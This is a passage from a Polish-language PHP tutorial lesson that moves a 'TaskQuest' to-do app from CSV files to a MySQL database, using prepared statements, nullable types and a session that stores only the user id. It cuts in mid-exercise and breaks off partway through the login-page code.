<li>na końcu wyświetla liczbę zadań i dla każdego: <code class="prettyprint lang-sql" style="font-size: 0.85em;">[X]</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">[ ]</code> oraz oczyszczony tytuł.</li>
</ol>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=1</code> — zadania Kamy (tyle, ile w bazie), <code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=2</code> — jedno zadanie Oli z <code class="prettyprint lang-sql" style="font-size: 0.85em;">[ ]</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=3</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadań: 0</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=abc</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowe id.</code></p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Sprawdzanie liczby z adresu robiłaś/robiłeś w Lekcji 13 (wyrażenie regularne przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>). Pętla po wynikach wygląda jak w 3.3, tylko zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = new Zadanie(...)</code>. Który typ ma parametr: <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code>?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT ... FROM zadania WHERE uzytkownik_id = ?');
$zapytanie-&gt;bind_param('i', $uzytkownikId);</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz&#91;'data_wykonania'] !== null,</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie-&gt;set_charset('utf8mb4');

$idZAdresu = $_GET&#91;'id'] ?? '';

if (!preg_match('/^\d+$/', $idZAdresu)) {
    echo 'Nieprawidłowe id.';
    exit;
}

$uzytkownikId = (int) $idZAdresu;

$zapytanie = $polaczenie-&gt;prepare(
    'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ?'
);
$zapytanie-&gt;bind_param('i', $uzytkownikId);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();

$zadania = &#91;];

while ($wiersz = $wynik-&gt;fetch_assoc()) {
    $zadania&#91;] = new Zadanie(
        id: $wiersz&#91;'id'],
        tytul: $wiersz&#91;'tytul'],
        opis: $wiersz&#91;'opis'],
        termin: $wiersz&#91;'termin'],
        wykonane: $wiersz&#91;'data_wykonania'] !== null,
        xp: $wiersz&#91;'xp'],
    );
}

echo '&lt;p&gt;Zadań: ' . count($zadania) . '&lt;/p&gt;';

foreach ($zadania as $zadanie) {
    $znacznik = $zadanie-&gt;czyWykonane() ? '&#91;X]' : '&#91; ]';
    echo '&lt;p&gt;' . $znacznik . ' ' . wyczyscTytul($zadanie-&gt;pobierzTytul()) . '&lt;/p&gt;';
}</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> nie potrzebują <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> — z prepared statementu przychodzą już jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> (3.5). Porównaj z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>, gdzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $wiersz[0]</code> był konieczny, bo CSV zawiera same teksty.</li>



<li>Nie ma tu odpowiednika <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>. Baza nie wpuści złego terminu, ujemnego XP ani zbyt długiego tytułu (Test 4 z Lekcji 17), więc wiersz z bazy ma zawsze poprawny kształt.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=3</code> nie jest błędem: zapytanie jest poprawne, po prostu nie ma pasujących wierszy — pusta tablica, tak jak pusty plik CSV w Lekcji 12 nie był awarią.</li>
</ul>
</details>



<h1 class="wp-block-heading">5. Włączamy bazę do TaskQuest</h1>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz na projekcie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> zostaw — przyda się do testowania nowych funkcji, zanim podłączysz je do stron.</p>
</blockquote>



<p class="wp-block-paragraph">Plan: najpierw budujemy i testujemy w brudnopisie wszystkie funkcje (kroki 1–5), potem w jednym ruchu przełączamy logowanie i stronę główną (kroki 6–7). <strong>Między krokiem 6 a 7 aplikacja nie działa</strong> — wykonaj je bez przerwy.</p>



<h2 class="wp-block-heading">Krok 1 — dane dostępowe w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></h2>



<p class="wp-block-paragraph">Dane dostępowe wpisaliśmy w brudnopisie trzy razy. W projekcie mają być w jednym miejscu — tam, gdzie od Lekcji 10 trzymamy ustawienia. Na końcu <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// (L18) dane dostępowe do bazy danych — domyślne ustawienia XAMPP
define('BAZA_HOST', 'localhost');
define('BAZA_UZYTKOWNIK', 'root');
define('BAZA_HASLO', '');
define('BAZA_NAZWA', 'taskquest');
</code></pre>



<p class="wp-block-paragraph">Na szkolnym albo prawdziwym serwerze te wartości będą inne (i <strong>nigdy</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code> bez hasła). Dzięki stałym zmienisz je w jednym pliku.</p>



<h2 class="wp-block-heading">Krok 2 — plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> i funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code></h2>



<p class="wp-block-paragraph">Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcja 18).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie-&gt;set_charset('utf8mb4');

    return $polaczenie;
}
</code></pre>



<ul class="wp-block-list">
<li>Typ zwracany <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> — funkcja zwraca obiekt klasy, tak jak metoda mogłaby zwracać <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>.</li>



<li><strong>Dlaczego łapiemy wyjątek i rzucamy nowy?</strong> Komunikat z <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> przy złym haśle brzmi mniej więcej: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Access denied for user 'root'@'localhost' (using password: YES)</code>. Zdradza nazwę użytkownika bazy i adres serwera. Od Lekcji 12 komunikaty wyjątków trafiają do użytkownika, więc mają być dla niego — bez szczegółów technicznych. Eksperyment 4 pokaże różnicę.</li>



<li>Plik z samym PHP — bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code> (konwencja od Lekcji 10).</li>
</ul>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code></h2>



<p class="wp-block-paragraph">Kod z sekcji 4 zamień w funkcję w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code> (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
</code></pre>



<p class="wp-block-paragraph">Wymagania:</p>



<ul class="wp-block-list">
<li>funkcja <strong>nie</strong> tworzy połączenia — dostaje je w parametrze (jedno połączenie wystarczy na całe żądanie, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> wykona kilka zapytań),</li>



<li>zwraca tablicę obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> — dokładnie to samo, co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> z CSV; dla użytkownika bez zadań <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>,</li>



<li>sortuje po <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY id</code>), żeby kolejność była stała, jak kolejność linii w CSV. Sortowaniem po terminie nadal zajmuje się <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code> — nie zmieniamy działającej logiki,</li>



<li>niczego nie wyświetla i nie sprawdza <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> regexem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">int $uzytkownikId</code> gwarantuje liczbę; sprawdzanie tekstu z adresu to zadanie strony, nie tej funkcji).</li>
</ul>



<p class="wp-block-paragraph">Przetestuj w brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
var_dump(count(wczytajZadaniaUzytkownika($polaczenie, 1)));
var_dump(count(wczytajZadaniaUzytkownika($polaczenie, 2)));
var_dump(wczytajZadaniaUzytkownika($polaczenie, 3));
</code></pre>



<p class="wp-block-paragraph">Oczekiwane: liczba zadań Kamy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">array(0) {}</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Cała środkowa część rozwiązania z sekcji 4 (od <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare</code> do końca pętli) przechodzi do funkcji prawie bez zmian. Czego w funkcji nie ma? Połączenia, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wynik = $zapytanie-&gt;get_result();

    $zadania = &#91;];

    while ($wiersz = $wynik-&gt;fetch_assoc()) {
        $zadania&#91;] = new Zadanie(
            id: $wiersz&#91;'id'],
            tytul: $wiersz&#91;'tytul'],
            opis: $wiersz&#91;'opis'],
            termin: $wiersz&#91;'termin'],
            wykonane: $wiersz&#91;'data_wykonania'] !== null,
            xp: $wiersz&#91;'xp'],
        );
    }

    return $zadania;
}
</code></pre>



<p class="wp-block-paragraph">Błędów zapytania (np. literówki w nazwie kolumny) ta funkcja nie łapie. To błędy programisty, a nie awaria, której użytkownik może się spodziewać. Wyjątek poleci wyżej, do strony (Eksperyment 3).</p>
</details>



<h2 class="wp-block-heading">Krok 4 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> dostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, a data może być <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code></h2>



<p class="wp-block-paragraph">Zanim napiszemy funkcję wczytującą użytkownika, sprawdźmy, czy wiersz Oli w ogóle zmieści się w obiekcie. Brudnopis:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

$uzytkownik = new Uzytkownik(
    login: 'Ola_TQ',
    imieUzytkownika: 'Ola',
    xp: 250,
    streak: 0,
    dataOstatniejAktywnosci: null,   // tak jest w bazie
);
</code></pre>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code> — argument <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code> musi być typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>, a podano <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. W Lekcji 17 świadomie zdecydowaliśmy, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> może być <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> (Ola jeszcze nic nie zrobiła). Klasa musi to umieć przyjąć.</p>



<p class="wp-block-paragraph"><strong>Nowa składnia: typ z dopuszczalnym <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</strong> Znak zapytania przed typem oznacza „ten typ <strong>albo</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>”:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">?string   // tekst albo null
?int      // liczba całkowita albo null
</code></pre>



<p class="wp-block-paragraph">To bezpośredni odpowiednik kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> w bazie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE NULL</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE NOT NULL</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>.</p>



<p class="wp-block-paragraph">Zmiany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> (reszta klasy bez zmian):</p>



<ol class="wp-block-list">
<li><br /><p>Jako <strong>pierwszą</strong> właściwość dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">private int $id;</code> — w Lekcji 17 zapowiadaliśmy, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> wróci, gdy będzie skąd je wziąć. Jutro (L19) będzie potrzebne do zapisu XP konkretnego użytkownika.</p><br /></li>



<li><br /><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">private string $dataOstatniejAktywnosci;</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">private ?string $dataOstatniejAktywnosci;</code></p><br /></li>



<li><br /><p>Konstruktor: nowy <strong>pierwszy</strong> parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">int $id</code>, typ ostatniego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, w ciele <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;id = $id;</code>:</p><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function __construct(<br />    int $id,<br />    string $login,<br />    string $imieUzytkownika,<br />    int $xp,<br />    int $streak,<br />    ?string $dataOstatniejAktywnosci<br />) {<br />    $this-&gt;id = $id;<br />    $this-&gt;login = $login;<br />    // ... pozostałe przypisania bez zmian<br />}<br /></code></pre><br /></li>



<li><br /><p>Pod konstruktorem nowy getter:</p><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function pobierzId(): int<br />{<br />    return $this-&gt;id;<br />}<br /></code></pre><br /></li>



<li><br /><p>Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> przekazuje datę do funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(int $streak, string $dataOstatniejAktywnosci, bool $zadanieWykonane)</code>, która wymaga <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>. Dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> też byłby <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>. Na <strong>początku</strong> ciała metody dopisz:</p><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function aktualizujStreak(bool $zadanieWykonane): void<br />{<br />    if ($this-&gt;dataOstatniejAktywnosci === null) {<br />        return; // brak aktywności — nie ma od czego liczyć serii, streak zostaje taki jak w bazie<br />    }<br /><br />    $this-&gt;streak = aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, $zadanieWykonane);<br />}<br /></code></pre><br /><p>Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code> <strong>nie zmienia się</strong>. Problem <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> zatrzymujemy w klasie, zanim dotrze do funkcji.</p><br /></li>
</ol>



<p class="wp-block-paragraph">Popraw brudnopis (<code class="prettyprint lang-sql" style="font-size: 0.85em;">id: 2,</code> na początku argumentów) i uruchom ponownie: brak błędu. Dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($uzytkownik-&gt;pobierzId(), $uzytkownik-&gt;pobierzPoziom());</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(2)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(3)</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Twój <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> przestał teraz działać (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new Uzytkownik(...)</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>) — to w porządku, w kroku 7 i tak zastąpimy ten fragment.</p>
</blockquote>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code> napisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik</code></pre>



<ul class="wp-block-list">
<li>pobiera z tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> <strong>jeden</strong> wiersz o podanym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> — tylko kolumny potrzebne do obiektu (bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>!),</li>



<li>zwraca obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, gdy takiego użytkownika nie ma (typ <code class="prettyprint lang-sql" style="font-size: 0.85em;">?Uzytkownik</code> — ten sam znak zapytania, tym razem przy klasie),</li>



<li>pamiętaj o konwencji nazw: kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> → parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">imieUzytkownika</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code>.</li>
</ul>



<p class="wp-block-paragraph">Test w brudnopisie (dołącz też <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump(wczytajUzytkownika($polaczenie, 1)-&gt;pobierzImie());
var_dump(wczytajUzytkownika($polaczenie, 2)-&gt;pobierzXp());
var_dump(wczytajUzytkownika($polaczenie, 99));</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(4) "Kama"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(250)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Wiersz jest najwyżej jeden, więc pętla <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code> nie jest potrzebna. Wystarczy <strong>jedno</strong> wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> — co zwróci, gdy wierszy nie ma wcale?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz&#91;'id'],
        login: $wiersz&#91;'login'],
        imieUzytkownika: $wiersz&#91;'imie'],
        xp: $wiersz&#91;'xp'],
        streak: $wiersz&#91;'streak'],
        dataOstatniejAktywnosci: $wiersz&#91;'data_ostatniej_aktywnosci'],
    );
}
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;get_result()-&gt;fetch_assoc()</code> — dwie metody „w łańcuchu”: <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code> zwraca obiekt wyniku, a na nim od razu wywołujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code>. To skrót od dwóch linii z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik</code>.</p>
</details>



<h2 class="wp-block-heading">Krok 6 — logowanie sprawdza bazę</h2>



<h3 class="wp-block-heading">6a. Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>)</h3>



<p class="wp-block-paragraph">Logowanie potrzebuje odpowiedzi na pytanie: „jakie <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> ma użytkownik o tym loginie — i czy w ogóle istnieje?”.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie-&gt;bind_param('s', $login);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz&#91;'id'];
}
</code></pre>



<p class="wp-block-paragraph">To dokładnie zapytanie z 3.5 — login pochodzi z formularza, więc prepared statement jest obowiązkowy. Sprawdź w brudnopisie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">kama_2026</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code> (porównanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code> nie rozróżnia wielkości liter — Test 2 z Lekcji 17), <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</p>



<h3 class="wp-block-heading">6b. W sesji zostaje tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code></h3>



<p class="wp-block-paragraph">Od Lekcji 14 zapisywaliśmy w sesji <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>. Teraz oba są w bazie. Gdybyśmy trzymali je także w sesji, mielibyśmy <strong>dwie kopie</strong> tych samych danych: zmiana imienia w bazie nie byłaby widoczna do ponownego logowania (to ta sama zasada „jedno źródło prawdy” co w Lekcjach 15 i 17). W sesji zapisujemy więc tylko <strong>identyfikator</strong> zalogowanego użytkownika, a resztę przy każdym żądaniu czytamy z bazy.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany()</code> zmień sprawdzany klucz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function czyZalogowany(): bool
{
    return isset($_SESSION&#91;'uzytkownik_id']);
}
</code></pre>



<p class="wp-block-paragraph">Przy okazji: jeśli ktoś ma otwartą sesję sprzed tej zmiany (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code>, ale bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>), zostanie po prostu przekierowany do logowania. Bez tej zmiany <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> próbowałby odczytać nieistniejący klucz.</p>



<h3 class="wp-block-heading">6c. <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> sprawdza już tylko login</h3>



<p class="wp-block-paragraph">Imię jest w bazie, więc znika z formularza. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code> zastąp funkcję wersją z jednym parametrem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujDaneLogowania(string $login): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    return $bledy;
}
</code></pre>



<p class="wp-block-paragraph">Funkcja nadal zwraca <strong>tablicę</strong> komunikatów (reguła z Lekcji 13). W Lekcji 19 dostanie drugi parametr — hasło.</p>



<h3 class="wp-block-heading">6d. <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></h3>



<p class="wp-block-paragraph">Zmiany w części PHP (na górze pliku):</p>



<ol class="wp-block-list">
<li>Do <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> (na początku listy) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> (na końcu).</li>



<li>Usuń zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> (wartość początkowa i odczyt z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>).</li>



<li>Dodaj wartość początkową <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy = null;</code> obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = [];</code>.</li>



<li>Blok obsługi POST zastąp:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $bledy = walidujDaneLogowania($login);

    if ($bledy === &#91;]) {
        try {
            $polaczenie = polaczZBaza();
            $uzytkownikId = znajdzIdUzytkownika($polaczenie, $login);

